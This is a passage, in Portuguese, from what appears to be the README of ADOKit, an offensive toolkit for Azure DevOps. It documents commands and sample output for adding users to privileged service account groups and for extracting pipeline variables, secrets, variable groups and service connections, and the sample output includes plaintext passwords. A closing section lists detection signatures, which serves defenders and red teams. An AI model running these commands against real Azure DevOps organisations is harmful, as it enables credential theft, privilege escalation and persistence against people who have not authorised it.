Forneça o módulo addcollectionbuildsvc junto com /user: para um determinado usuário ser adicionado ao grupo Project Collection Build Service Accounts. Além disso, forneça as informações de autenticação relevantes e a URL. Consulte a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Exemplo de Saída```
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:13 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Remover Conta de Serviço de Compilação da Coleção
#### Caso de Uso
> *Remover um usuário do grupo Contas de Serviço de Compilação da Coleção do Projeto.*
#### Sintaxe
Forneça o módulo `removecollectionbuildsvc` junto com um `/user:` para um determinado usuário ser removido do grupo `Project Collection Build Service Accounts`. Além disso, forneça as informações de autenticação e URL relevantes. Consulte [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Adicionar Conta de Serviço da Coleção
Caso de Uso
Adicionar um usuário ao grupo Project Collection Service Accounts.
Sintaxe
Forneça o módulo addcollectionsvc junto com um /user: para um determinado usuário ser adicionado ao grupo Project Collection Service Accounts. Além disso, forneça qualquer informação de autenticação relevante e URL. Consulte a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Exemplo de Saída```
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:01 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Remover Collection Service Account
#### Caso de Uso
> *Remover um usuário do grupo Project Collection Service Accounts.*
#### Sintaxe
Forneça o módulo `removecollectionsvc` juntamente com um `/user:` para um determinado usuário ser removido do grupo `Project Collection Service Accounts`. Além disso, forneça qualquer informação de autenticação relevante e URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Obter Variáveis de Pipeline
Caso de Uso
Extrair quaisquer variáveis de pipeline sendo usadas no(s) projeto(s), que podem conter credenciais ou outras informações úteis.
Sintaxe
Forneça o módulo getpipelinevars junto com um /project: para um determinado projeto para extrair quaisquer variáveis de pipeline sendo usadas. Se você deseja extrair variáveis de pipeline de todos os projetos, especifique all no argumento /project:.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Exemplo de Saída```
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/6/2023 12:08:35 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Obter Segredos do Pipeline
#### Caso de Uso
> *Extrair os nomes de quaisquer segredos do pipeline sendo usados no(s) projeto(s), o que direcionará o operador sobre onde tentar realizar a extração de segredos.*
#### Sintaxe
Forneça o módulo `getpipelinesecrets` junto com um `/project:` para um determinado projeto para extrair os nomes de quaisquer segredos do pipeline sendo usados. Se desejar extrair os nomes dos segredos do pipeline de todos os projetos, especifique `all` no argumento `/project:`.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Exemplo de Saída```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Obter Grupos de Variáveis
Caso de Uso
Extraia qualquer grupo de variáveis e as variáveis correspondentes sendo usadas em projeto(s), que podem conter credenciais ou outras informações úteis.
Sintaxe
Forneça o módulo getvariablegroups junto com /project: para um determinado projeto para extrair quaisquer grupos de variáveis em uso. Se desejar extrair grupos de variáveis de todos os projetos, especifique all no argumento /project:.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Exemplo de Saída```
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
Timestamp: 16/05/2024 16:53:31
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Obter Conexões de Serviço
#### Caso de Uso
> *Listar quaisquer conexões de serviço sendo usadas em projeto(s), o que direcionará o operador onde tentar realizar a extração de credenciais para quaisquer conexões de serviço sendo usadas.*
#### Sintaxe
Forneça o módulo `getserviceconnections` junto com um `/project:` para um determinado projeto para listar quaisquer conexões de serviço sendo usadas. Se desejar listar conexões de serviço sendo usadas de todos os projetos, especifique `all` no argumento `/project:`.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Exemplo de Saída```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Detecção
Abaixo estão assinaturas estáticas para o uso específico desta ferramenta em seu estado padrão:
- GUID do Projeto -
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}- Veja Regra Yara do ADOKit neste repositório.
- String de User Agent -
ADOKit-21e233d4334f9703d1a3a42b6e2efd38- Veja Regra Snort do ADOKit neste repositório.
- Regras do Microsoft Sentinel
ADOKitUsage.json- Detecta o uso do ADOKit com qualquer evento auditável (por exemplo, adicionar um usuário a um grupo)PersistenceTechniqueWithADOKit.json- Detecta a criação de um PAT ou chave SSH com ADOKit
Para orientação de detecção das técnicas usadas pela ferramenta, consulte o whitepaper da X-Force Red.
Roadmap
- Suporte para Azure DevOps Server
Referências
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops